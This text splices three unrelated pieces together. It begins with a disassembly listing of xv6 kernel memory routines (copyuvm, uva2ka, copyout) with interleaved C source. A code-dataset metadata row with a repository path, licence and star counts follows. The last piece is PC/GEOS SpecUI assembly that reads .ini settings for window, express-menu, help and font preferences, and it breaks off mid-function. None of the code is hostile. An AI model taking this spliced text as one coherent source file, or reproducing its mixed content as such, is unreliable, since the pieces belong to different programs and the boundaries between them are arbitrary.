80106c1d: a8 01 test $0x1,%al
80106c1f: 89 45 e4 mov %eax,-0x1c(%ebp)
80106c22: 74 2e je 80106c52 <copyuvm+0xc2>
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
80106c24: e8 87 b8 ff ff call 801024b0 <kalloc>
80106c29: 85 c0 test %eax,%eax
80106c2b: 89 c3 mov %eax,%ebx
80106c2d: 75 89 jne 80106bb8 <copyuvm+0x28>
}
}
return d;
bad:
freevm(d);
80106c2f: 89 3c 24 mov %edi,(%esp)
return 0;
80106c32: 31 ff xor %edi,%edi
}
}
return d;
bad:
freevm(d);
80106c34: e8 07 fe ff ff call 80106a40 <freevm>
return 0;
}
80106c39: 83 c4 2c add $0x2c,%esp
80106c3c: 89 f8 mov %edi,%eax
80106c3e: 5b pop %ebx
80106c3f: 5e pop %esi
80106c40: 5f pop %edi
80106c41: 5d pop %ebp
80106c42: c3 ret
80106c43: 90 nop
80106c44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) {
kfree(mem);
80106c48: 89 1c 24 mov %ebx,(%esp)
80106c4b: e8 f0 b6 ff ff call 80102340 <kfree>
goto bad;
80106c50: eb dd jmp 80106c2f <copyuvm+0x9f>
return 0;
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
80106c52: c7 04 24 ce 76 10 80 movl $0x801076ce,(%esp)
80106c59: e8 12 97 ff ff call 80100370 <panic>
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
80106c5e: c7 04 24 b4 76 10 80 movl $0x801076b4,(%esp)
80106c65: e8 06 97 ff ff call 80100370 <panic>
80106c6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106c70 <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80106c70: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106c71: 31 c9 xor %ecx,%ecx
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80106c73: 89 e5 mov %esp,%ebp
80106c75: 83 ec 08 sub $0x8,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106c78: 8b 55 0c mov 0xc(%ebp),%edx
80106c7b: 8b 45 08 mov 0x8(%ebp),%eax
80106c7e: e8 8d f7 ff ff call 80106410 <walkpgdir>
if((*pte & PTE_P) == 0)
80106c83: 8b 10 mov (%eax),%edx
return 0;
80106c85: 31 c0 xor %eax,%eax
uva2ka(pde_t *pgdir, char *uva)
{
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
if((*pte & PTE_P) == 0)
80106c87: f6 c2 01 test $0x1,%dl
80106c8a: 74 11 je 80106c9d <uva2ka+0x2d>
return 0;
if((*pte & PTE_U) == 0)
80106c8c: f6 c2 04 test $0x4,%dl
80106c8f: 74 0c je 80106c9d <uva2ka+0x2d>
return 0;
return (char*)P2V(PTE_ADDR(*pte));
80106c91: 81 e2 00 f0 ff ff and $0xfffff000,%edx
80106c97: 8d 82 00 00 00 80 lea -0x80000000(%edx),%eax
}
80106c9d: c9 leave
80106c9e: c3 ret
80106c9f: 90 nop
80106ca0 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
80106ca0: 55 push %ebp
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
80106ca1: 31 c0 xor %eax,%eax
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
80106ca3: 89 e5 mov %esp,%ebp
80106ca5: 57 push %edi
80106ca6: 56 push %esi
80106ca7: 53 push %ebx
80106ca8: 83 ec 2c sub $0x2c,%esp
80106cab: 8b 5d 14 mov 0x14(%ebp),%ebx
80106cae: 8b 55 0c mov 0xc(%ebp),%edx
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106cb1: 85 db test %ebx,%ebx
80106cb3: 74 64 je 80106d19 <copyout+0x79>
80106cb5: 8b 4d 10 mov 0x10(%ebp),%ecx
80106cb8: 89 4d e4 mov %ecx,-0x1c(%ebp)
80106cbb: eb 36 jmp 80106cf3 <copyout+0x53>
80106cbd: 8d 76 00 lea 0x0(%esi),%esi
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
80106cc0: 89 f7 mov %esi,%edi
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
80106cc2: 8b 4d e4 mov -0x1c(%ebp),%ecx
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
80106cc5: 29 d7 sub %edx,%edi
80106cc7: 81 c7 00 10 00 00 add $0x1000,%edi
80106ccd: 39 df cmp %ebx,%edi
80106ccf: 0f 47 fb cmova %ebx,%edi
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
80106cd2: 29 f2 sub %esi,%edx
80106cd4: 01 c2 add %eax,%edx
80106cd6: 89 14 24 mov %edx,(%esp)
80106cd9: 89 7c 24 08 mov %edi,0x8(%esp)
80106cdd: 89 4c 24 04 mov %ecx,0x4(%esp)
80106ce1: e8 1a d7 ff ff call 80104400 <memmove>
len -= n;
buf += n;
va = va0 + PGSIZE;
80106ce6: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx
n = PGSIZE - (va - va0);
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
80106cec: 01 7d e4 add %edi,-0x1c(%ebp)
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106cef: 29 fb sub %edi,%ebx
80106cf1: 74 35 je 80106d28 <copyout+0x88>
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
80106cf3: 8b 4d 08 mov 0x8(%ebp),%ecx
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
80106cf6: 89 d6 mov %edx,%esi
80106cf8: 81 e6 00 f0 ff ff and $0xfffff000,%esi
pa0 = uva2ka(pgdir, (char*)va0);
80106cfe: 89 55 e0 mov %edx,-0x20(%ebp)
80106d01: 89 74 24 04 mov %esi,0x4(%esp)
80106d05: 89 0c 24 mov %ecx,(%esp)
80106d08: e8 63 ff ff ff call 80106c70 <uva2ka>
if(pa0 == 0)
80106d0d: 8b 55 e0 mov -0x20(%ebp),%edx
80106d10: 85 c0 test %eax,%eax
80106d12: 75 ac jne 80106cc0 <copyout+0x20>
return -1;
80106d14: b8 ff ff ff ff mov $0xffffffff,%eax
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
}
80106d19: 83 c4 2c add $0x2c,%esp
80106d1c: 5b pop %ebx
80106d1d: 5e pop %esi
80106d1e: 5f pop %edi
80106d1f: 5d pop %ebp
80106d20: c3 ret
80106d21: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106d28: 83 c4 2c add $0x2c,%esp
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
80106d2b: 31 c0 xor %eax,%eax
}
80106d2d: 5b pop %ebx
80106d2e: 5e pop %esi
80106d2f: 5f pop %edi
80106d30: 5d pop %ebp
80106d31: c3 ret
| 32.790298 | 74 | 0.537584 |
116a47d3637754570280b071e399ad6b112ba6d9 | 39,470 | asm | Assembly | Library/SpecUI/CommonUI/CMain/cmainCode.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/SpecUI/CommonUI/CMain/cmainCode.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/SpecUI/CommonUI/CMain/cmainCode.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @-----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: OpenLook/Main
FILE: mainCode.asm
ROUTINES:
Name Description
---- -----------
GLB LibraryEntry Entry point for this library.
INT SpecInitWindowPreferences
Fetches WindowOptions .ini settings,
interprets, & stores results in
olWindowOptions.
INT GetDefaultWindowPreferences
Returns default window option preferences,
as determined by the specific UI (before
user overrides)
INT SpecGetWindowOptions Get the window options
INT SpecGetExpressOptions Get the express options
INT SpecInitExpressPreferences
Fetches Express menu .ini settings,
interprets
INT SpecInitHelpPreferences Initialize help preferences for a field
INT SpecInitDefaultDisplayScheme
If the first UI screen has been set up yet,
fetch its displayType, initialize
DisplayScheme DisplayType, Font &
PointSize. NOTE: Current implementation is
limited to supporting the first video
screen only.
INT GetFontFromInitFile Returns the FontID and integer part of the
FontSize from the init file from given key
strings.
INT CalcSystemAttrs Calculates system attributes.
INT SetLightColors Sets a bunch of color variables to the
user-chosen light color.
INT SetDarkColors Sets a bunch of color variables to the
user-chosen dark color.
INT AdjustForDisplayType Set specific UI variables having to do with
the color scheme to be used, based on
whether on B&W display, or CGA. This
allows the code to work quicker by just
using the colors & info stored in these
tables.
INT SpecInitGadgetPreferences
If there is a default video driver, init
the variable defaultDisplayScheme
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Doug 9/26/89 Documentation update
JimG 3/8/94 Added support for editable text size.
DESCRIPTION:
This file contains misc code for the Open Look library
$Id: cmainCode.asm,v 1.8 98/07/10 10:57:54 joon Exp $
------------------------------------------------------------------------------@
Init segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
LibraryEntry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Entry point for this library.
CALLED BY: GLOBAL
PASS: di = LibraryCallType
RETURN: carry set on error
DESTROYED: everything
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JS 2/28/93 Initial version
dlitwin 4/14/94 Now this is defined for all SPUI's, not
just WizardBA
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
LibraryEntry proc far
cmp di, LCT_ATTACH
jne done
IKBD< call InitFloatingKbd >
done:
ret
LibraryEntry endp
COMMENT @----------------------------------------------------------------------
FUNCTION: SpecInitWindowPreferences
DESCRIPTION: Fetches WindowOptions .ini settings, interprets, & stores
results in olWindowOptions.
CALLED BY: INTERNAL
OLFieldAttach
PASS: ds:si - field specific category string
RETURN: Boolean Variable olWindowOptions set appropriately
DESTROYED:
ax, bx, cx, dx, bp
------------------------------------------------------------------------------@
SpecInitWindowPreferences proc near uses ds
.enter
call GetDefaultWindowPreferences ;Returns defaults in bl
;
; Check to see if keyboards are required
;
mov cx, cs
mov dx, offset windowOptionsString
call InitFileReadInteger
jc haveDecision
push ax
and al, ah ; get "1's" to set
or bl, al ; or in "1's"
pop ax
not ah ; get "0's" to set
or al, ah
and bl, al ; and in "0's"
haveDecision:
mov cx, segment olWindowOptions
mov ds, cx
mov ds:[olWindowOptions], bl
.leave
ret
SpecInitWindowPreferences endp
windowOptionsString char "windowOptions", 0
COMMENT @----------------------------------------------------------------------
FUNCTION: GetDefaultWindowPreferences
DESCRIPTION: Returns default window option preferences, as determined by
the specific UI (before user overrides)
UIWO_MAXIMIZE_ON_STARTUP:1
Default TRUE if:
running on a tiny display screen
OR running in Keyboard-only mode
OR InterfaceLevel < UIIL_INTERMEDIATE
OR LaunchMode = UILM_TRANSPARENT
This should be fine for the 2/92 demo disk set. An interesting note
regarding Eric's implementation of this for the V1.2 Intermediate
room: he decided to maximize EVERYTHING, even things
not maximizable, such as the calculator, as it is a pain to lose
these little apps when the larger, maximized app behind them is
clicked on. Because this was the Intermediate room, he at the
same time disable the ability to restore or minimize. I don't
think we want to go that far in the professional room, though not
doing so is awkard (you start maximized, but can restore, then not
maximize again !?). Some thoughts to pursue are:
-> having non-maximizable apps always float on top
(like dialog boxes)
- Doug 2/11/92
UIWO_COMBINE_HEADER_AND_MENU_IN_MAXIMIZED_WINDOWS:1
Default true if running on tiny display screen
(temporary turned off - brianc 9/28/92)
UIWO_PRIMARY_MIN_MAX_RESTORE_CONTROLS:1
Default false if LaunchMode = UILM_TRANSPARENT else true if
UIInterfaceLevel >= UIIL_INTERMEDIATE
UIWO_DISPLAY_MIN_MAX_RESTORE_CONTROLS:1
Default true if UIInterfaceLevel >= UIIL_INTERMEDIATE
UIWO_WINDOW_MENU:1
; Default TRUE if keyboardOnly = TRUE.
;
; new thinking: Default TRUE except if penBased = TRUE - brianc 3/23/93
UIWO_PINNABLE_MENUS
Default TRUE if UIInterfaceLevel >= UIIL_INTERMEDIATE
UIWO_KBD_NAVIGATION
Default TRUE if keyboard only or
UIInterfaceLevel >= UIIL_INTERMEDIATE
UIWO_POPOUT_MENU_BAR
Default TRUE if running on tiny display screen
CALLED BY: INTERNAL
PASS: nothing
RETURN: bl - default UIWindowOptions
DESTROYED: ax, cx, dx, bp, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 8/92 Initial version
------------------------------------------------------------------------------@
GetDefaultWindowPreferences proc near
clr bl ; start blank -- no preferences
call UserGetDisplayType ; Get display type in ah
; Determine default for UIWO_COMBINE_HEADER_AND_MENU_IN_MAXIMIZED_WINDOWS:1
mov al, ah
andnf al, mask DT_DISP_ASPECT_RATIO
andnf ah, mask DT_DISP_SIZE
;temporarily turned off - brianc 9/28/92
; cmp ah, DS_TINY shl offset DT_DISP_SIZE
; jne haveCombineHeaderAndMenu
; or bl, mask UIWO_COMBINE_HEADER_AND_MENU_IN_MAXIMIZED_WINDOWS
;haveCombineHeaderAndMenu:
; Determine default for UIWO_MAXIMIZE_ON_STARTUP:1
cmp ah, DS_TINY shl offset DT_DISP_SIZE
je initMaximized
cmp al, DAR_VERY_SQUISHED shl offset DT_DISP_ASPECT_RATIO
je initMaximized
push ax
call FlowGetUIButtonFlags
test al, mask UIBF_KEYBOARD_ONLY
pop ax
jnz initMaximized
and bl, not mask UIWO_MAXIMIZE_ON_STARTUP
jmp short haveMaximizeOnStartup
initMaximized:
or bl, mask UIWO_MAXIMIZE_ON_STARTUP
haveMaximizeOnStartup:
; Determine default for UIWO_POPOUT_MENU_BAR:1
cmp al, DAR_VERY_SQUISHED shl offset DT_DISP_ASPECT_RATIO
je popoutMenuBar
cmp ah, DS_TINY shl offset DT_DISP_SIZE
jne havePopoutMenuBar
popoutMenuBar:
or bl, mask UIWO_POPOUT_MENU_BAR
havePopoutMenuBar:
; Determine default for UIWO_PRIMARY_MIN_MAX_RESTORE_CONTROLS:1,
; UIWO_DISPLAY_MIN_MAX_RESTORE_CONTROLS:1 and UIWO_PINNABLE_MENUS:1
; Set UIWO_KBD_NAVIGATION true if advanced intermediate.
call UserGetDefaultUILevel
cmp al, UIIL_BEGINNING
jae advancedIntermediate
; If novice or beginning intermediate, default to maximize on startup
;
or bl, mask UIWO_MAXIMIZE_ON_STARTUP
jmp short afterInterfaceLevel
advancedIntermediate:
or bl, mask UIWO_PRIMARY_MIN_MAX_RESTORE_CONTROLS or \
mask UIWO_PINNABLE_MENUS or \
mask UIWO_KBD_NAVIGATION
afterInterfaceLevel:
; Set UIWO_KBD_NAVIGATION true if keyboard only
call FlowGetUIButtonFlags
test al, mask UIBF_KEYBOARD_ONLY
jz haveKbdOnly
or bl, mask UIWO_KBD_NAVIGATION
haveKbdOnly:
; Clear UIWO_KBD_NAVIGATION if no keyboard
test al, mask UIBF_NO_KEYBOARD
jz haveKbdNav ; not no-keyboard, leave
andnf bl, not mask UIWO_KBD_NAVIGATION ; else, clear
haveKbdNav:
;
; new thinking - set UIWO_WINDOW_MENU except on penBased = TRUE - brianc 3/23/93
;
call SysGetPenMode ; ax = TRUE if penBased
tst ax
jnz haveWinMenu
or bl, mask UIWO_WINDOW_MENU
haveWinMenu:
ISU < or bl, mask UIWO_WINDOW_MENU ; default on for ISUI >
ret
GetDefaultWindowPreferences endp
COMMENT @----------------------------------------------------------------------
FUNCTION: SpecGetWindowOptions
DESCRIPTION: Get the window options
CALLED BY: INTERNAL
PASS:
none
RETURN:
al - UIWindowOptions
ah - 0
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/24/92 Initial version
------------------------------------------------------------------------------@
SpecGetWindowOptions proc far uses ds
.enter
mov ax, segment olWindowOptions
mov ds, ax
clr ax
mov al, ds:olWindowOptions
.leave
ret
SpecGetWindowOptions endp
COMMENT @----------------------------------------------------------------------
FUNCTION: SpecGetExpressOptions
DESCRIPTION: Get the express options
CALLED BY: INTERNAL
PASS:
none
RETURN:
ax - UIExpressOptions
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/24/92 Initial version
------------------------------------------------------------------------------@
SpecGetExpressOptions proc far uses ds
.enter
mov ax, segment olExpressOptions
mov ds, ax
mov ax, ds:olExpressOptions
.leave
ret
SpecGetExpressOptions endp
COMMENT @----------------------------------------------------------------------
FUNCTION: SpecInitExpressPreferences
DESCRIPTION: Fetches Express menu .ini settings, interprets
CALLED BY: INTERNAL
OLFieldAttach
PASS: ds:si - field specific category string
RETURN:
DESTROYED:
ax, bx, cx, dx, bp
------------------------------------------------------------------------------@
SpecInitExpressPreferences proc near uses ds
.enter
;
; default is based on user level
;
call UserGetDefaultUILevel ; ax = UIInterfaceLevel
mov bx, mask UIEO_DESK_ACCESSORY_LIST or \
mask UIEO_CONTROL_PANEL or \
mask UIEO_DOS_TASKS_LIST or \
mask UIEO_UTILITIES_PANEL or \
mask UIEO_EXIT_TO_DOS or \
mask UIEO_DOCUMENTS_LIST or \
UIEP_TOP_PRIMARY shl offset UIEO_POSITION
cmp ax, UIIL_BEGINNING ; intro and beginning use this
jbe haveDefaultExpressPrefs
mov bx, mask UIEO_DESK_ACCESSORY_LIST or \
mask UIEO_MAIN_APPS_LIST or \
mask UIEO_OTHER_APPS_LIST or \
mask UIEO_CONTROL_PANEL or \
mask UIEO_DOS_TASKS_LIST or \
mask UIEO_UTILITIES_PANEL or \
mask UIEO_EXIT_TO_DOS or \
mask UIEO_DOCUMENTS_LIST or \
UIEP_TOP_PRIMARY shl offset UIEO_POSITION
haveDefaultExpressPrefs:
mov cx, cs
mov dx, offset expressOptionsString
call InitFileReadInteger
jc haveDecision
;
; require some things for ISUI, don't allow others
;
if _ISUI
ornf ax, mask UIEO_DOCUMENTS_LIST or \
mask UIEO_EXIT_TO_DOS or \
mask UIEO_CONTROL_PANEL or \
mask UIEO_UTILITIES_PANEL
andnf ax, not (mask UIEO_GEOS_TASKS_LIST)
endif
mov bx, ax ; just copy from .ini file
haveDecision:
mov cx, segment olExpressOptions
mov ds, cx
mov ds:[olExpressOptions], bx
.leave
ret
SpecInitExpressPreferences endp
expressOptionsString char "expressOptions", 0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SpecInitHelpPreferences
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize help preferences for a field
CALLED BY: OLFieldLoadOptions()
PASS: ds:si - field specific category string
RETURN: none
DESTROYED: ax, bx, cx, dx, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 11/19/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SpecInitHelpPreferences proc far
uses ds
.enter
if BUBBLE_HELP
push ds
endif
clr ax ;ax <- default UIHelpOptions
mov cx, cs
mov dx, offset helpOptionsString ;cx:dx <- ptr to key
call InitFileReadInteger
mov cx, segment olHelpOptions
mov ds, cx
mov ds:[olHelpOptions], ax
if BUBBLE_HELP
pop ds
;
; get bubble options
;
mov bl, mask BO_HELP or mask BO_DISPLAY ; defaults
mov cx, cs
mov dx, offset bubbleHelpString
call InitFileReadBoolean
jc noBubbleHelpOption
tst ax ; false?
jnz noBubbleHelpOption ; nope
andnf bl, not mask BO_HELP ; false, turn if off
noBubbleHelpOption:
mov dx, offset bubbleDisplayString
call InitFileReadBoolean
jc noBubbleDisplayOption
tst ax ; false?
jnz noBubbleDisplayOption ; nope
andnf bl, not mask BO_DISPLAY ; false, turn it off
noBubbleDisplayOption:
push ds
mov cx, segment olBubbleOptions
mov ds, cx
mov ds:[olBubbleOptions], bl ; store options
pop ds
;
; set bubble help and bubble display times
;
push bp, di
mov bx, BUBBLE_HELP_DEFAULT_TIME
mov cx, cs
mov dx, offset bubbleHelpTimeString
call InitFileReadInteger
jc noHelpTime
mov bx, ax ; bx = bubble help time
noHelpTime:
mov dx, offset bubbleHelpDelayString
call InitFileReadInteger
mov bp, ax
jnc haveDelayTime
mov bp, BUBBLE_HELP_DEFAULT_DELAY_TIME
haveDelayTime:
mov dx, offset bubbleHelpMinTimeString
call InitFileReadInteger
mov di, ax
jnc haveMinTime
mov di, BUBBLE_HELP_DEFAULT_MIN_TIME
haveMinTime:
mov dx, offset bubbleDisplayTimeString
call InitFileReadInteger
jnc haveDisplayTime
mov ax, BUBBLE_DISPLAY_DEFAULT_TIME
haveDisplayTime:
mov cx, segment olBubbleHelpTime
mov ds, cx
mov ds:[olBubbleHelpTime], bx
mov ds:[olBubbleHelpDelayTime], bp
mov ds:[olBubbleDisplayTime], ax
mov ds:[olBubbleHelpMinTime], di
pop bp, di
endif
.leave
ret
SpecInitHelpPreferences endp
helpOptionsString char "helpOptions", 0
if BUBBLE_HELP
bubbleHelpString char "bubbleHelp", 0
bubbleHelpDelayString char "bubbleHelpDelay", 0
bubbleDisplayString char "bubbleDisplay", 0
bubbleHelpTimeString char "bubbleHelpTime", 0
bubbleDisplayTimeString char "bubbleDisplayTime", 0
bubbleHelpMinTimeString char "bubbleHelpMinTime",0
endif
COMMENT @----------------------------------------------------------------------
FUNCTION: SpecInitDefaultDisplayScheme
DESCRIPTION: If the first UI screen has been set up yet, fetch its
displayType, initialize DisplayScheme DisplayType, Font &
PointSize. NOTE: Current implementation is limited to
supporting the first video screen only.
CALLED BY: INTERNAL
OLFieldAttach
OLFieldInitialize
PASS:
none
RETURN:
Set:
specDisplayScheme
DESTROYED:
ax, bx, cx, dx, bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
Doug 10/90 Revamp for "No ziphod" changes
JimG 3/1/94 Uses GetFontFromInitFile. does EditableText
fonts also.
------------------------------------------------------------------------------@
SpecInitDefaultDisplayScheme proc near
uses si, di, ds
.enter
clr si ; Pass null object (in case EC)
call UserGetDisplayType ; Get display type for 1st
; video screen
tst al ; see if initialized yet
jz done ; if not, skip out
if _ASSUME_BW_ONLY
; Force B/W
andnf ah, not mask DT_DISP_CLASS
ornf ah, DC_GRAY_1 shl offset DT_DISP_CLASS
endif
mov bp, ax ; save DisplayType
call GrGetDefFontID ; returns: cx = default FontID
; dx.ah = default pointsize
; bx = default data handle
mov ax, offset fontidString
mov bx, offset fontsizeString
call GetFontFromInitFile ; destroys ax, bx
mov ax, segment specDisplayScheme
mov ds, ax ;setup ds to be dgroup
;store font & point size info
mov ds:[specDisplayScheme].DS_fontID, cx
mov ds:[specDisplayScheme].DS_pointSize, dx
push cx, dx ; preserve font info
mov ax, bp ;restore DisplayType in ah
call AdjustForDisplayType
call CalcSystemAttrs ;calculate system attributes
; FINALLY, let the generic UI know what font we're going to be using,
; so that it can cache it away & use it later in VisGetMonikerSize.
;
pop cx, dx
call UserSetDefaultMonikerFont
; Get font info for editableText
push cx, dx ; save font &
; size for later
mov ax, offset editableTextFontIDString
mov bx, offset editableTextFontsizeString
; cx, dx = fontid, fontsize of defaults
call GetFontFromInitFile ; destroy ax, bx
pop ax, bx ; UI font and size
; Only bother to store the font & size if they are different than the
; default font & size for the UI.
mov ds:[editableTextFontID], FID_INVALID
cmp ax, cx
jne storeEditableText
cmp bx, dx
je done
storeEditableText:
; Store editableText font information in dgroup.
; ds = dgroup, still
mov ds:[editableTextFontID], cx
mov ds:[editableTextFontsize], dx
done:
.leave
ret
SpecInitDefaultDisplayScheme endp
fontidString char "fontid", 0
fontsizeString char "fontsize", 0
editableTextFontIDString char "editableTextFontID",0
editableTextFontsizeString char "editableTextFontsize",0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetFontFromInitFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns the FontID and integer part of the FontSize
from the init file from given key strings.
CALLED BY: SpecInitDefaultDisplayScheme
PASS: cs:ax - fontID key string ptr
cs:bx - font size key string ptr
cx - default FontID
dx - default point size
RETURN: cx - FontID
dx - point size
DESTROYED: ax, bx
SIDE EFFECTS: nothing
PSEUDO CODE/STRATEGY:
Uses fixed category string, categoryString, defined below.
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 3/ 1/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetFontFromInitFile proc near
fontSizeOffset local word push bx
defaultFontID local FontID push cx
defaultPointSize local word push dx
uses si,di,ds ; returns cx, dx
.enter
;
; get font id
;
push bp ; preserve bp for local vars
mov cx, cs
mov ds, cx
mov si, offset categoryString ; ds:si = category
mov dx, ax ; cx:dx = key
clr bp ; return memory block
call InitFileReadString
pop bp ; restore bp for locals
LONG jc fontNotFound
;
; found string -- bx = handle
;
call MemLock
mov ds, ax ; ds <- seg addr of string
clr si ; ds:si <- ptr to string
mov dl, mask FEF_BITMAPS \
or mask FEF_OUTLINES \
or mask FEF_DOWNCASE \
or mask FEF_STRING ; dl <- fonts to find
call GrCheckFontAvail ; see if available
; Returns cx = FontID
call MemFree ; dispose font name buffer
jcxz fontNotFound ; jumps back to getPointSize
;
; get pointsize from .ini file
;
getPointSize:
push cx ; save font ID
mov cx, cs
mov ds, cx
mov si, offset categoryString ; ds:si = category
mov dx, ss:[fontSizeOffset] ; cx:dx = key
call InitFileReadInteger
mov_tr dx, ax ; dx <- pointsize
pop cx ; cx <- font ID
jc sizeNotFound ; branch if not in .ini file
setPointSize:
; cx = fontID
; dx.ah = pointsize (WBFixed)
clr ax ; al = FontStyle
call GrFindNearestPointsize ; use nearest size
jcxz sizeNotFound ; branch if size/style N/A
done:
.leave
ret ; <-- RETURN
;
; Asking for a font or pointsize that is not availble is
; a bad thing. (in addition, the size check will fail if there
; is not a plaintext version of the font available, as with
; Eurostile Extended). If either of these things happen, we
; use the defaults as determined by the kernel at boot time.
; -eca
;
fontNotFound:
mov cx, ss:[defaultFontID] ; use passed default fontID
jmp getPointSize
sizeNotFound:
mov cx, ss:[defaultFontID] ; use passed defaults
mov dx, ss:[defaultPointSize]
jmp done ; move on to next thing
GetFontFromInitFile endp
categoryString char "ui",0
COMMENT @----------------------------------------------------------------------
ROUTINE: CalcSystemAttrs
SYNOPSIS: Calculates system attributes.
CALLED BY: SpecInitDefaultDisplayScheme
PASS: ds - dgroup
RETURN: ax -- SystemAttrs
DESTROYED: bx, cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Right now a display has to be CSF_VERY_SQUISHED to be horizontally tiny.
We need OLScreen sizes to do this right.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/ 1/93 Initial version
------------------------------------------------------------------------------@
CalcSystemAttrs proc near
call SysGetPenMode ;get pen mode
tst ax
jz 10$ ;no pen mode, branch
